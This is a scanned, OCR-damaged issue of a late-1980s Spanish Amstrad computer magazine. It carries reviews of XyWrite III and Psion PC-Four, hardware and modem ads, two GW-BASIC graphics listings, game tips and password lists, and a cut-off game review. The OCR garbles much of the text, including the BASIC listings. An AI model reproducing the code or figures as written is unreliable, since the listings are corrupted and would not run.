— Coiurrmas: XyWrite permite 
escribir de forma encolumnada de 
dos formas oiferentes. En la prime- 
ra, llamada columna tipo periodico, 
en la que el texto discurre por una 
columna y ai llegar al final de esta 
continua por la siguiente columna a 
la derecha. Es preciso tener en 
cuenta que se ha de fijar un mar- 
gen derecho igual o inferior al an- 
cho definido para la columna. En 
pantalla no se vera el texto enco- 
lumnado, pero si en la impresora. 

La segunda forma recibe el nom- 


bre de tablas encolumnadas y con- 
siste en columnas independientes 
en las que podemos escribir como 
queramos. saltando de una a otra 
mediante la combination de la te¬ 
cla de mayusculas con las de los 
cursores derecha o izquierda. 

— Macros: Un macro es una se- 
cuencia de teclas grabada que se 
puede ejecutar de forma directa 
posteriormente o transferir a una te¬ 
cla cualquiera para ejecutarla en 
forma de 'almacena / recupera’. En 
los casos en que ha de repetirse 
con frecuencia una determinada 
secuencia de teclas se agradece 
esta posibilidad. 

— Insercion de fecha y hora: Se 
puede insertar en cualquier texto la 
fecha y la hora en diversos forma- 
tos. Al imprimir, la fecha y hora que 
apareceran seran los del momento 
de la impresion. 

— Ejecucion de programas des- 
de XyWrite: Al igual que ocurria con 
el corrector ortografico, se ouede 
ejecutar desde XyWrite cualquier 
otro programa. Por ejemplo, te- 
cleando en la ilnea de comandos 
HAZ DISKCOPY A: B: se ejecutara 
el programa del DOS DISKCOPY y 
despues volveremos a XyWrite. La 
unica condition a cumplir es que 
XyWrite deje en memoria espacio 
suficiente para ambos programas. 

— Salir al DOS: Como en mu- 
chos otros programas, se puede 
salir al DOS y luego voiver con la 
orden EXIT, siempre que XyWrite 
deje en memoria espacio suficiente 
y que el fichero COMMAND.COM 
este en el directorio por defecto. 

Impresion y 
conclusiones 

El proceso de impresion con 
XyWrite III es sumamente facii, po- 
tente y flexible. Podemos imprimir 
el texto que tengamos en pantalla 
u otro cualquiera que este en disco 
y dirigir la impresion a la impreso¬ 
ra, a un fichero en disco o a la 
pantalla. 

Se puede efectuar una impresion 
controlada por paginas, es decir, 
entre dos paginas da das, a partir de 
una pagina o hasta una pagina de¬ 
terminada. Tambien se pueden im¬ 
primir solo las paginas pares o las 
impares. Esta caracteristica no sue- 
le estar implementada en la gran 



I 


mayoria de procesadoras de texto 
y sin embargo, es sumamente util 
para quien tiene que imprimir ma- 
nuales o cualquier texto que requie- 
ra la impresion por ambas caras del 
papel, ya que permite cargar la im¬ 
presora con el papel continue, im- 
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Pulsando Alt 4 F9, el menu de ayuda 
reemplaza a la regia de tabulation. 


pnmir las paginas impares, dar la 
vuelta al papel e imprimir las pares. 

En los discos de XyWrite III se 
encuentran varios ficheros de con¬ 
figuration de teclado (con la exten¬ 
sion .TEC) y de impresora (exten¬ 
sion .IMP). En el fichero INICIO.INT 
esta indicado cual de ellos debe 
cargarse al arrancar XyWrite. Tan¬ 
to los ficheros de configuration de 
teclado e :mpresora como el fiche¬ 
ro INICIO.INT son ficheros ASCII 
de texto y pueden ser editados y 
modificados. Por tanto, se puede 
cambiar algun fichero de configura¬ 
tion por otro mas adecuado o inclu- 
so modificar un fichero concreto 
para, por ejemplo, cambiar los co¬ 
lores de la pantalla o hacer que una 
eierta tecla tenga un efecto con¬ 
creto. 

En definitiva. se trata de un pro- 
cesador de textos de avanzadas 
caracterfsticas y con grandes posi- 
bilidades. 


Cesar Alvarez 


CARACTERISTICAS 

CONFIGURACION: 
Amstrad PC o compati¬ 
ble con un minimo de 
256 Kbytes de memoria. 
Impresora. 

DISTRIBUIDOR: SEI. 

c/Zurbano, 41. Telf. (91) 
410 22 08. 28010 Madrid. 
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EL PORTATIL 

CON GRANDES VENTAJAS 


Ahora, con el HC 640 6 el 1TC 512. viajar 
no slgnifica 'desconcctar 1 con su olictna. 

De utia forma rdpida, faeil y descansada. con 
estos fecreibles portables usted podnl con- 
Irolar. calcular, comprobar o decidir sobre la 
marcha teniendo en sus manos loda la inlor- 
macidn necesaria 


Vaya donde vaya. HCvese el PPC con usted. No 
le pesarl 


PANTALLA SUPERTWIST 


Nltldez y comodidad a la vista, 
lo ultimo en tecnologla 
monocromo LCD. 

80 x 25 lineas (640 X 200 pixels 
de resolucibiij para leei y editat 
con lacllidad. 

Alto contrasie y amplio Angulo de 
observacidn. ideal para hojas electrdnlcas. 
Con la pantalla Supertwist, la vista se cansa 
menos. Ins grlficos no se deforman y los 
textos se resaltari. 


EXPANSION ASEGURADA 


Lldvese consigo todas las posibilidades de su 
oficina. Las salldas sene y paralelo de 
los PPC's de Amstrad It permlten conectar 
impresoras y plotters. Estos ordenadores in- 
cluyen conectores para la linea telefOnica y 
para el teldfono*. y tamblcn existe la poslbik 
dad de incorporar una uriidad de disco dure 
y cuatro ranuras del tlpo PC mediante un mo¬ 
dulo de expansion. 

Por otro lado. el uso dc! interlace serie facllita 
la transferencla de datos a otros ordenadores. 



' VERSION PPC640 


SU PRECIOI 

PRuuRAMA: 0. 
residemequein.* ,c 

— Base de AajM 

— Tarjetero ektfl 
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AMSTRAD ESPANA ARAVACA, 22,28040 MADRID, TELEFONO 459 30 01, TELEX 47660 INSC E, FAX 45i| 
CATALUNA Y BALEARES: TARRAGONA, 110,08015 BARCELONA, TELEFONO425 I' 11, TELEX 93133 ACE, E, FAX24|Ni 
IEVANTE-MURCIA: COLON, 4-3.° B, 46004 VALENCIA, TELEFONOS 351 45 52 / 351 45 04, FAX 35 * 
NORTE CENTRO: MARIA DIEZ DE HARO, 10 BlS, 6°, DEP. 8 Y 9,48013 BILBAO, TELEFONO 
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DISCO DE 3.5” 


5 TOMAS DE ALIMENTACION 



459 ZlELEGACIONES CENTRO: ARAVACA. 22,28040 MADRID, TELEFONO 459 30 O', TELEX 47660 INSC E, FAX 459 22 92 

2418 1ANARIAS: ALCALDE RAM REZ BETHENCOURT,! 7,35004 LAS PALMAS DE GRAN CANARIA, TELEFONO 23 11 33, TELEX 96496 TEIC E 

351 iilOROESTE: JUAN FLOREZ, 18-1LOCAL 2,15004 LA CORUNA, TELEFONOS 25 52 16 / 25 50 22 / 25 53 78 

442 C-'UR: ALAMEDA DE COLON, 9-2 ” 2900! MALAGA, TELtFONO 21 37 40, FAX 21 69 94 


Con sus 5 posibilidades de alimentacion. los 
PIXCs "nunea le dejari lirado'. listed pucdc 
utilizar pilas normalcs. puedc concclar cl or 
dcnador al encliufc del entendedor de su 
cache |se Include collector), jiuede utilizar 
la fuentc de alimentacidn del monitor de su 
PC 1640. piwdeusar la fuentedesu modulode 
expansion o, si !o preliere, eonectarlo a la red 
con el adaptador que sumimstramos. 


Los portatiles de Amstrad se presentan con 
una o con dos unidades de disco estilndar de 
720 K y 3.5". Estos discos Ilevan tncorporada 
su propia protecckSn. con lo que puedc ilevar 
los en su bolsillo o en el maletin sin preocu 
parse por su dclerioro. 


En lugai de reducir 
el tedado, 
Como haccn otros porldtiles, 
los PPC's lo amplian hasta 101 teclas. 
induyendo todas las teclas de funciOn cspeciales 
para las apliraciones del MS DOS 


— Procesador dc lexto. 

— Calculadora. 

— Agenda clectronica. 

— Mareador automat ico dc telefono. 

— Corrco personalizado (‘'Mail Merge”). 
bOLSA LIE TRANSPORTE 
Le regalainos una practica bolsa de 
transports para Ilevar y proteger su PPC > todos 
sus elemehtos (fuentc dc alimentacion, 
manualcs, diskettes, cables, etc.) 


ALTA VELOCIDAD 
DE PROCESO 


Morale toda la prisa que quiera a los 
PPC's de Amstrad. Su poderoso 
microproccsarior 8066, a 8 
MHz., agiliza los trabajus. Y si 
quierc acelerar aim mis, para 
tracer correr hojas dc cdlculo o 
programas CAD, ineluyale un 
microproeesador matemdtico 8087. 


TECLADO 

AMPLIADO 















PROFESIONAL 



PSION PC-FOUR 

SENCILLEZ ANTE TODO 

En el ya abundante mercado del software integrado 
aparece ahora un nuevo paquete, desarrollado por 
Psion, con las aplicaciones y caracteristicas ya 
habituales. Pero PC-Four intenta imponerse sobre sus 
companeros jugando una baza poco extendida entre los 
programas de calidad: la sencillez de manejo. 


E S este un paquete que le resui- 
tara familiar a los mas vetera- 
nos en esto de la microin f or- 
matica. pues se trata ni mas ni me- 
nos que del software que acompa- 
naba en origen al Sinclair QL. Pero 
en esta ocasion abordamos la ver¬ 
sion para PC, una revision que des- 
de luego satisface los niveles de 
calidad profesional de este tipo de 
maquinas. 

PC-Four es un paquete integra¬ 
do para PC’s que combina cuatro 
aplicaciones (procesador de textos, 
base de datos, hoja de calculo y 
graficos), con una estructura y fun- 
cionamiento similares. A la poten- 
cia estandar de estas aplicaciones 
se anade la simplicidad de su ma¬ 
nejo, apoyada por una extensa in- 
formaeion en el manual 
La integracion permite la transfe¬ 
rence de datos entre los progra¬ 
mas mediante comandos comunes 
de importaeion v exportacion, y el 
control de algunas operaciones si¬ 
milares con un esquema de trabajo 
parecido. Unicamente, el procesa¬ 


dor de textos presents un trata- 
miento diferente, ya que se ha pen- 
sado mas en el intercambio de in- 
formacion con otros procesadores 
de textos que con las restantes apli¬ 
caciones de PC-Four. 

El paquete incluye, ademas del 
manual, cinco disquetes de 5,25 
pulgadas. Uno de eilos se ha dedi- 
cado a un completo tutorial y los 
cuatro restantes contienen los pro¬ 
gramas correspondientes: PC-Quill 
(el procesador de textos), PC-Ar- 
chive (la base de datos), PC-Aba- 
cus (hoja electronics) y PC-Easel 
(generador de graficos de gestion). 
Este ultimo se presents en dos ver- 
siones, una normal y otra para el 
entorno GEM. 

PC-Four se ha diseiiado para tra- 
bajar en un PC con disco duro o sin 
el (en este caso puede incluso tra- 
bajar con una sola unidad de disco, 
aunque resulta demasiado engorro- 
so). Requiere una configuration mi¬ 
nima de 256Kb de RAM. si bien el 
programs GEM Easel necesita 
512Kb 6 640Kbytes. 


En cuanto a los perifericos, es re- 
comendable el uso de ratdn para 
aliviar el movimiento a traves de la 
base de datos y la hoja de calculo, 
aunque puede realizarse tambien 
combinando las teclas del cursor. 
Exists una amplia gama de impre- 
soras con las que trabaja el progra¬ 
ms, si bien se necesita una impre- 
sora con capacidades graficas para 
imprimir los graficos de PC-Easel. 
Para adaptar un driver de impreso- 
ra a las necesidades del usuario se 
utiliza el programs Pedit del disco 
Tutor, que ofrece una lista de im- 
presoras y elementos a seleccio- 
nar. 


Buenos detalles 

La sencillez de uso es, mas que 

un detalle, una caracteristica propia 
de PC-Four, que se aprecia incluso 
en el manual que acornpana al pa¬ 
quete, con una completa informa- 
cion estructurada en capitulos y 
apendices. Sin embargo, donde se 
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PC-Quill, el procesador de textos de PC-Four. 



Un sencillo ejemplo de las posibilidades de PC-Easel. 


encuentra la verdadera ayuda es 
en el disco de Tutorial, con un pro- 
grama tutor para cada aplicacion, 
funciones complementarias y defi- 
nicion de perifericos. 

En cualquier momento se puede 
acceder a la ayuda mediante la te- 
cla FI, apareciendo en pantalla el 
nivel de ayuda correspondiente al 
trabajo que se esta realizando. La 
estructura piramidal de la ayuda 
permite al usuario ir accediendo 
paulatinamente a los distintos nive- 
les y a las informaciones adiciona- 
les sobre temas particulares de 
cada nivel. Un hecho destacable es 
que todas las ayudas de pantalla 
estan en castellano, como la mayo- 
rla de los comandos del programa. 

Otro details grato es el aspecto 
similar de los cuatro programas de 
PC-Four, basado en una pantalla 
dividida en tres zonas. La zona su¬ 


perior es el area de control o men- 
sajes, con una lista de opciones 
(seleccionadas con F3) e indicacio- 
nes de confirmacion. La zona infe¬ 
rior es la denominada area de es- 
tado, que informa sobre la situacion 
del trabajo y el estado de las teclas 
y contiene la llnea de entrada, con 
las instrucciones que el usuario es¬ 
cribe. Por ultimo, la zona central 
corresponde al area de representa- 
cion visual o area de trabajo, que 
muestra un aspecto particular en 
cada aplicacion. Esta zona puede 
ampliarse eliminando el area supe¬ 
rior de mensajes mediante F2. Con 
la tecla F10 se restaura el aspecto 
de la pantalla. 

El usuario puede crear sus pro- 
pios comandos utilizando los fiche- 
ros TSL (lenguaje de secuencia de 
tareas) en los que se archivan se- 
cuencias de pulsaciones de teclas 


y se incluyen comandos especiales 
definidos con sus correspondientes 
codigos. Finalmente, el programa 
ha previsto la posibilidad de errores 
por falta de espacio en el disco, que 
suelen dejar «colgada>> la opera- 
cion que se realizaba. Se ofrece as! 
una gama de opciones de listado 
de directorios y supresion de fiche- 
ros, restaurandose al momento la 
operacion abortada. 

Potencia del 
programa 

El procesador de textos, PC- 
Quill, es una utilidad que recoge, 
simplificandolas, todas las funcio¬ 
nes y procesos comunes a los tra- 
tamientos de textos, desde los dife- 
rentes tipos de letra, glosarios, for- 
mateados y justificacion de marge- 
nes. etcetera, hasta busquedas, ex- 
tracciones, funciones de correo y 
tratamiento con ficneros importa- 
dos. Lo que quiza se echa en falta 
es el corrector ortografico a que nos 
tienen acostumbrados la mayorla 
de los paquetes de reciente apa- 
ricibn. 

En PC-Quill, la zona superior de 
la pantalla (en general, algo recar- 
gada) Informa sobre las opciones, 
la activacion de ventanas y selec- 
cion de comandos, mientras el area 
inferior de estado se reserva para 
los datos del documento abierto, el 
modo de escritura utilizado, matri¬ 
ces llnea, pagina y el juego de ins¬ 
trucciones disponible en una deter- 
minada tarea. 

PC-Abacus, la hoja de calculo, se 
utiliza para planificar. obtener datos 
en tablas, realizar calculos y alma- 
cenar y presentar la informacion in- 
troducida por teclado, o bien impor- 
tadade otrosficheros o programas. 
La informacion se estructura en una 
red de 999 filas y 255 columnas, 
dando un total de 250.000 celdas o 
casillas para contener datos nume- 
ricos y/o alfabeticos. La hoia pre¬ 
sents una gran flexlbidcd de uso, 
con calculos diversos, simplifica- 
cion de las operaciones, manipula- 
cion de datos mediante sentencias 
de entrada-salida y variables de 
texto, empleo de formulas para in- 
terrelacionar bloques, filas o colum¬ 
nas que se copian automaticamen- 
te en otra parte de la hoja, etcete¬ 
ra. El contenido de la hoja puede 
exportarse a otros programas, en 
particular al propio generador de 
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graficos de PC-Four, excepto cuan- 
do se utilice una clave de acceso 
personal. 

La base de datos, PC-Archive, si- 
gue un esguema simple de crea- 
cidn de ficheros, asi como de utili- 
zacion de comandos, aunque es 
posible incrementar el grado de 
complejidad utilizando ficheros re- 
lacionados que compartan informa- 


lizarlos como comandos adiciona- 
les, y dispone un editor de procedi- 
mientos para escribir y modificar 
cualquier parte de un programa. 
una vez realizado. Esta operacion 
puede hacerse ademas con el edi¬ 
tor permanents de la linea de en- 
trada, aunque no es muy recomen- 
dable si las correcciones no son 
sencillas. 



La hoja de calculo PC-Abacus, en accion. 



Algunos de los graficos permitidos por PC-EaseS. 


cion. Entre los comandos de panta- 
lla aparecen mensajes en ingles 
que se han codificado y traducido 
en un llstado de referencias. La 
flexibilidaa de PC-Archive se mues- 
tra en la creacion de archivos y en 
la determinacion de las dirnensio- 
nes de ficheros, que no precisa la 
adjudicacion previa de iongitud a 
campos y registros. 

Asimismo permit© fijar procedi- 
mientos personates de trabajo y uti- 


PC-Easel 

El generador de graficos de PC- 
Four presents una caracteristica 
peculiar puesta antes de relieve, y 
es la version del programa para el 
entorno GEM. incluida en el disco. 
La diferencia es minima, unicamen- 
te GEM-Easel permite el cambio de 
los modos de pantalla, ya que utili 
za los drivers de pantalla de GEM. 

El programa, en cualquiera de 


sus dos versiones, permite la visua- 
lizacidn grafica de los datos intro- 
ducidos en la pantalla, o importa- 
dos desde otros proqramas, combi- 
nando, si es necesario, grafico y 
texto. Se puede considerar un ge¬ 
nerador interactive desde el mo- 
mento en que aparece en pantalla, 
ya que guia al usuario en su ejecu- 
cion mediante mensajes en la pan¬ 
talla, sin que este deba memorizar 
numeros ni comandos. Tampoco 
necesita preparar las tablas de va- 
lores, que residen ocultas en los fi¬ 
cheros del programa. Su estructura 
es piramidal, secuenciada segun 
operaciones de mayor frecuencia y 
menor complejidad, hasta las ope¬ 
raciones de remode lacion de grafi¬ 
cos completos, que se eligen entre 
una serie de figuras en el menu. 


Conclusion 

PC-Four constituye un paquete 
completo y de un potencia conside¬ 
rable, ya que incluye las cuatro apli- 
caciones basicas de los paquetes 
integrados, con las funciones y ca- 
racteristicas mas generalizadas en¬ 
tre ellos. Lo mas destacable en el 
es su gran capacidad de ayuda, co- 
menzando por un manual bien es- 
tructurado e informado, y siguiendo 
con toda una gama de ayudas en 
pantalla, en Castellano, y disponi- 
bles desde cualquier nivel de tra¬ 
bajo. 

La integracion de las aplicacio- 
nes se hace patente en la transfe¬ 
rence de datos de uno a otro pro¬ 
grama si exceptuamos el procesa- 
rior de textos, disehado para inter- 
cambiar informacion con otros pro- 
gramas, fuera del paquete. De to 
das formas el aspecto de las pan- 
tallas, los comandos, etcetera, son 
sirnilares, con lo que se facilita aun 
mas su utiiifacion por el usuario. 

E. Hernandez 
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CARACTERISTICAS 
CONFIGURACION: 
Amstrad PC o compatible 
con un- mmimo de 512 
Kbytes de memoria. 

DISTRIBUTOR: Trades 
Servicios, S. A. Don Ra- 
m6n de la Cruz, 17-6. Te- 
lefono (91) 431 13 56. 
28001 Madrid. 
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ESPECIALISTAS EN 
TRANSMISION DE DATOS 


Multi Modem224E 

2400/1200/300 BPS Error Correcting Modem 
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MODEMS RED CONMUTADA 


24uu BPS 
'122 BIf 


SINCRONO AS1NCRONO jjjjj 


POMPiTimp CORRECCWN TAR1ETA 

COMPATIBLE ^UTOMATICA ROBREMESA PC 

ERRORES CON SO” 


MT212PC 

SI 

SI 

1 

— 


SI 

SI 

SI 


— 

SI 

MT224EC 


SI 

SI 

— 

SI 

SI 

SI 

SI 

— 

SI 

MT212EH 

SI 

SI 

— 

SI 

SI 

SI 

SI 

SI 

SI 
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HT224EH 

SI 

SI 

SI 

SI 

SI 

SI 

SI 

SI 

SI 

— 

MT224AH 

— 

SI 

SI 

SI 

SI 

SI 

SI 

— 

SI ^ 
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COMUNICACIOHES ? & 


# Plazos de entrega muy cortos. 

# Conversion de velocidad. 

• Linea dedicada o red conmutada. 

• Correccion automatica de errores. 

• Almacenamiento de configura¬ 
tion no volatil, etc. 

# Venta a distribucion. 


Dcsearia: 

Ampliar informacion □ 

Visita □ 


Enrique Larreta, 9 
28036 MADRID 
Tel}.: 911733 20 50 
Telex 23.178 
Fax: 91/315 53 12 


DELEGACION BARCELONA 
Calabria. 129-131 
08015 BARCELONA 
Telf.: 93/424 46 55 
Fax: 931424 87 49 


Nombre: .. 
Empresa: 
Dircccion: 
Telefono: . 


























































TRUCOS 


■A DOBLE 
ALTURA 


10 REM ***¥*#*******#.■».*;it , ***************** M*» **.!,**#*#*#*** 

20 REM * (Cl 1930 Jose Couto y AMSTRAD User * 

30 REM tj.u*n»****n»*n»i i ****** 

40 CIS:KEY OFF;SCREEN 2 

50 DEE SEG-a.HB300:DlM B<4,2);REM 8.HB000 INICIO DISPLAY FILE 
SO LINE INPUT Frase-> 1 ,F* 

70 INPUT ’Coordenada X-> , X 

30 INPUT 'Coordenada Y-> ,Y 

90 IF X>80 OR X<=0 OR Y>24 OR Y<=0 THEN CLSiGOTO 70 

100 INPUT Altura-> “, ALT 

110 INPUT 1 1nver 11 do (S/N)-> ",INV$ 

120 IF INV$ *3" OR INV* 'S' THEN LET INV=1:G0T0 150 ELSE 1NV = 0 
130 INPUT 'Espejo (S/N)-> ”,ESP$ 

140 IF ESP$ 'S' OR ESrS> = 11 s 1 THEN ESP= 1 ELSE ESP-0 
150 CLS 

160 FOR VOYPOR=1 TO LEN < F*) 

170 IF X-80 THEN LET Y=Y+(ALT*2 AND ESF< >11 + (ALT*4 AND E3P=1>■LET X=1 
ISO LOCATE Y, X : A$=HID$( F$, VOYPGR, 1 ) : IF AS- THEN GOTO 2 10 -ELSE PRINT AS; 

190 GOSUB 280 

200 IF ESP = 1 THEN GOSUB 480 
210 LET X = X+1 
220 NEXT 

230 WHILE INKEY$=*":WEND 

240 LOCATE 1,1 

250 END 

280 GOSUB 480 

270 FOR N=1 TO 4;REM MEMORiZAKOS EL CARACTER EN LA KATR1Z B 
280 LET BIN,1)=FEEK<D1R2+80) 

290 LET BIN,2) PEEK(DIR2+8272) 

300 LET DIK2=D1R2+80;NEXT N 

310 IF INU=0 THEN INIC = 1 : F I N =4 : PASO- 1 :1 1 1 ; I 2 = 2 ELSE INIC = 4 : F IN-1-.PASO- '••11=2'. 
2=1 

320 LET DIR2=DIR 

330 FOR N-INIC TO FIN STEP PASO:REM AQUI POKEAMCS LOS VALORES DEL CARACTER QUE 

GUARDAMOS EN LA MISHA FI LA EN LA QUE ESTABA 

340 FOR U=1 TO 2 

350 FOR H T TO ALT 

360 SCAN1=DIR2+80:SCAN2=DiR2+8272 

370 IF SC A N1>7999 OR SCAN2>16191 THEN GOTO 450 

380 POKE SCAN 1,B(N,I I) 

390 POKE SCAN2,B(N,I 1) 

400 DIR2 DIR2+80 
410 NEXT H 

420 13=12;12- I 1 ;I 1-13 
430 NEXT U 
440 NEXT N 
450 RETURN 

460 LET Y-Y + 2*ALT ; LET INV 1-GOSUB 480.'G0SUB 310:LET Y= Y-2 I ALT ; LET I N V ; 0 
470 RETURN 

480 LET DIR=t(X 13+iY 13*320) SO;LET DI R2=DI R; REM D1RECCI0N DEL CaRAUTER EN 

FANTALLA 

490 RETURN 



E L programs que apare- 
ce junto a estas II- 
neas se encarga de impri- 
mir los caracteres habi¬ 
tuates que usa el ordena- 
dor, pero con distinta altu- 
ra. Para ello maneja di- 
rectamente el fichero de 
presentacibn visual o, lo 
que es lo mismo, la me- 
moria que contiene la in- 
formacibn que sera emiti- 
da hacia el monitor. Al es- 
tar escrito integramente 
en BASIC, resulta un 
poco lento, pero el resul- 
tado es bastante vistoso. 

Aparte de poder selec- 
cionar la altura del carac* 
ter. el programa tambien 
es capar de escribir de 
forma invertida horizon- 
talmente o con efecto de 
espejo, esto es, haciendo 
un giro horizontal de cada 
caracter, de manera que 
parecer estar reflejado. 

Para inciuir este truco 
en forma de subrutina en 
vuestros propios progia- 
mas no hay mas que qui- 
tar la parte que se encar¬ 
ga de pedirnos los datos 
(llneas 10 a 140) e inicia- 
lizar las siguientes varia¬ 
bles con los parametros 
que elijais. 

— F$-> texto a im- 

primir, 

— INV—> cuando 

vale 1 el texto se imprimi 
ra invertido horizontal- 
mente. 

— ESP—> con valor 1 
se hara el efecto de es¬ 
pejo. 

— X,Y—> son las 
coordenadas en caracte¬ 
res de la esquina superior 
izquierda del lugar donde 
se imprimira el texlo. 

Hay que decfr que si el 
texto se saliera por deba- 
jo de ia pantalla. la rutina 
omitira todo lo que sobre 
y no realizara ningun tipo 
de scroll. 

Jos6 Luis Couto 
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■TUNEL 

En la misma linea que los lista- 
dos que hemos publicado ya en 
meses anteriores, os ofrecemos en 
esta ocasion un pequeho progra- 
ma, realizado en GW BASIC, cuya 
unica finalidad es trazar en la pan- 
talla del ordenador un atractivo gra- 
fico, Este programa nos ha sido en- 
viado por Jose Luis Couto, de Ma¬ 
drid. 


10 SCREEN 2 '• CLS i KEY OFF 
20 PASG=8 

30 FOR N =1 TO 620 STEP PASO 
40 LINE (320,100)-(620-N,200) 
50 LINE (320, 100)-(N, 1 ) 

60 NEXT N:PASQ=PA50/2 
70 FOR N=200 TO 1 STEP -FASO 
80 LINE (320,100)-(620,200-N) 
30 LINE (320, 100)-C 1,N) 

100 NEXT N 

110 WHILE INKEYS="":WEND 


■ , •, * i • •. *. • ♦ i».»j 'J i i \ f j»i * {* > • f t •» * * > • ■ •». 11 1 f 1 • ,*«' • ,* 
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■ BUCK ROGERS 
SIN JOYSTICK 


Si posees el juego 
Buck Rogers y no tienes 
joystick, hay un truco que 
te permitira jugar con el 
teclado. En este juego 
siempre se conecta auto- 
maticamente la opcion de 
joystick, pero si al poner 
el nombre desde ei siste- 
ma operativo pulsas una 
cuantas veces la tecla K, 
entonces podras jugar 
con las teclas de control 
del cursor. 

Dentro de este mismo 
juego hay otro truco muy 
util que sirve para pasar 
de fase. En cada fase hay 


tres secciones y la ultima 
siempre es en el espacio. 
Cuando llegues aqui ten- 
dras que matar unas 
cuantas naves y a conti 
nuacion aparecera la 
nave nodriza; si quieres 
destruirla con mayor faci- 
lidad, deberas situarte en 
la parte inferior de la pan- 
talla, reduciendo asi tu 
velocidad y consiguiendo 
que tu tiempade disparos 
sea mayor. De esta for¬ 
ma, las posibilidades de 
ser eliminado son muy in- 
feriores. 

David Morado 
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■JUEGOS 



iPreparate a 
recorrer 512 
pantallas de 
intrincadas 
cavernas en 
busca de los 
9 objetos 
que resta- 
bleceran la 
paz en el 
universo! 



U N buen dla se desa- 
to en un lejano 
confin la furia de 
los dioses. Entre rayos, 
truenos y demas fenome- 
nos apocalipticos nacid 
un inmenso agujero ne¬ 
gro del que broto como 


que habitaban infinidad 
de criaturas capaces de 
flotar en el aire y alimen- 
tarse de la energia que 
arrebataban a otros se¬ 
res. Pero lo mas asom- 
broso consistia en que 
dicho planeta estaba a 



por arte de magia un bri- 
llante y extrano planeta. 
Su interior estaba plaga- 
do de cavernas. en las 


punto de crear un gran 
cataclismo en nuestro 
universo, debido a que su 
estructura habia sido alte- 


rada por inenarrables 
acontecimientos. 

Sus nueve elementos 
principales, aquellos que 
conformaban todo lo que 
se encontraba sobre su 
faz, habian quedado mu- 
tados y produclan gran 
inestabilidad en su orbita. 
La posibilidad de colision 
contra otros planetas hizo 
que se echase mano del 
nicis aguerrido heroe del 
sistema solar. Este perso- 
naje, de apariencia insig- 
nificante y de color verdo- 
so. es uno de los mas fa- 
mosos defensores de 
causas perdidas, y en 
este juego esta a nuestro 
cargo y responsabilidad. 

As! pues, habremos de 
recorrer las 512 pantallas 
de cavernas de que se 
compone el juego, en 
busca de los objetos cla 
ves que tendremos que 
permutar por los que en- 
contraremos en la panta- 
ila central de todo el com- 
plejo de laberintos. Arma- 
dos con nuestro traje es- 


pacial de faena y con una 
nave ultramoderna, dota- 
da de los mas avanzados 
mecanismos, nos dirigire- 
mos hacia el planeta en 
euestion. Comenzaremos 
el juego en la faz del pla¬ 
neta y junto a nuestra 
nave, escacharrada con¬ 
tra su superficie. Tras 
aventurarnos en los pri- 
meros laberintos, nos da- 
mos cuenta de lo necesa- 
rio que resulta que nues¬ 
tro personaje tenga mas 
facilidad de movimiento 
que el simple andar por el 
suelo horizontal de las ca¬ 
vernas. Esto nos resulta- 
ra posible gracias a los 
pequehos platillos volan- 
tes, cuyas bases se en- 
cuentran estrategicamen- 
te situadas a lo largo y an- 
cho del planeta. Pero es- 
tos platillos solo se pue- 
den recoger y dejar en 
unas bases determina- 
das, no en cualquier sitio. 
Ademas, resulta irnposi- 
ble recoger cualquier ob- 
jeto si nos encontramos 
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sobre el platillo, y tampo- 
co podremos usar los te- 
letransportadores. 

El uso de estos apara- 
tos en forma de pequena 
cabina resulta fundamen¬ 
tal, ya que nos permitira 
desplazarnos desde un 
lugar a otro muy distante 


con una simple contrase- 
na, que indica el punto en 
que apareceremos a con- 
tinuaeion. Como el cono- 
cimiento de las quince 
contrasenas da una gran 
facilidad a la hora de lie- 
gar al final del jueqo, os 
daremos la lista entera 


para que podais moveros 
de un lugar a otro del pla 
neta desde el primer mo- 
mento. Son las siguien 
tes: BAGEL, RUBIA, 
QUAND, PULSE, NU- 
GAE, ABYSS (muy cerca 
de este punto se encuen 
tra la pantalla de cambio 
de los nueve objetos), 
MORIA. MOIST, LOUSE, 
LIMMA, KYANG, RAPID, 
CLOUD, HIDEE y WA 
TER. 

Los tipicos enemiyos 
en forma de seres voian- 
tes que absorberan nues- 
tra energia se pueden eli- 
minar muy facilmente con 
nuestro laser de bolsillo. 
cuyas baterias habremos 
de recargar periodica- 
mente como los utensilios 
que encontraremos en 
nuestro vagar por el pla- 
neta. Otros utensilios nos 
permitiran recargar nues- 
tras propias baterias o la 
de nuestra escalera a 
presion portatil, utilizable 
para ascender cuando no 
tengamos a mano un pla¬ 
tillo espacial. 

Es, en definitiva, un 
juego que recuerda mu- 
cho a los primeros arca¬ 
des basados en la adic- 
cion creada por una aven- 
tura que se desarolla en 
un paisaje imposible de 
retener en la mernoria, y 
del que es mejor, por tan- 
to, hacer un mapa que 
nos facilite la labor. Los 
graficos acompanan per- 


PC 


fectamente al juego, con 
detalles muy buenos, ta¬ 
les como el de un peque- 
no gusano absorbeener- 
gia, compuesto por ani- 
llos que cambian conti- 
nuamente de color, o el 
mismo caso de la secuen- 
cia de movimiento de 
nuestro protagonista. Es 
un detalle a agradecer el 
que la estructura que for¬ 
ma las paredes del labe 
rinto sea distinta segun el 
paraje en que nos encon- 
tremos, ya que faeilita no- 
tablemente la orientacion. 

J. Ramis Perez 


DISTRIBUIDOR: Power 
Line. Telef. (943) 

61 51 47. 


LO MEJOR: L.a idea y su 
plasmacion en el juego. 

LO PEOR: Resulta casi 
interminable. 



LO QUE VD. DEBE SABER SOBRE «AMSTRAD USER» 


■ iComo mando una carta a la revista? 

Si usted desea enviar una carta a la seccion de 
Correo de la revista debe dirigirse a: 

AMSTRAD USER. «Seccion Correo 
Aravaca, 22. 28040 MADRID 


■ iC6mo obtengo informacidn sobre publicidad? 
Para recibir informacidn sobre la insercion de anuncios 
publicitarios en la revista debe ponerse en contacto con: 
AMSTRAD USER. Publicidad-Revista 

Aravaca, 22. 28040 MADRID 
Telefono 459 30 01 (Sr. Campos) 


■ iDonde me dirijo para asuntos 
relacionados con la suscripcidn? 

Para cualquier asunto relacionado con la suscripcion 
debe escribir a: 

AMSTRAD USER. Departamento de suscripciones 
Aravaca, 22. 28040 MADRID 


■ iPuedo comprar numeros atrasados? 
Envlenos el cupon con los numeros que desea e 
indicandonos la forma de pago, que puede ser por 
talon o giro dirigido a: 

AMSTRAD USER / AMSTRAD ESPANA 


























































■JUEGOS 



Si sientes poco 
amor por tu vida 
y por la de los 
demas, este es 
tu jjuego 
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ACE ya algun 
tiempo que sur- 
gio en las m&- 
quinas recreati- 
vas el tema de las misio- 
nes suicidas de guerra, 
inspiradas en Vietnam. 
Peliculas como las inter- 


pretadas por Sylvester 
Stallone o Arnold Schwar 
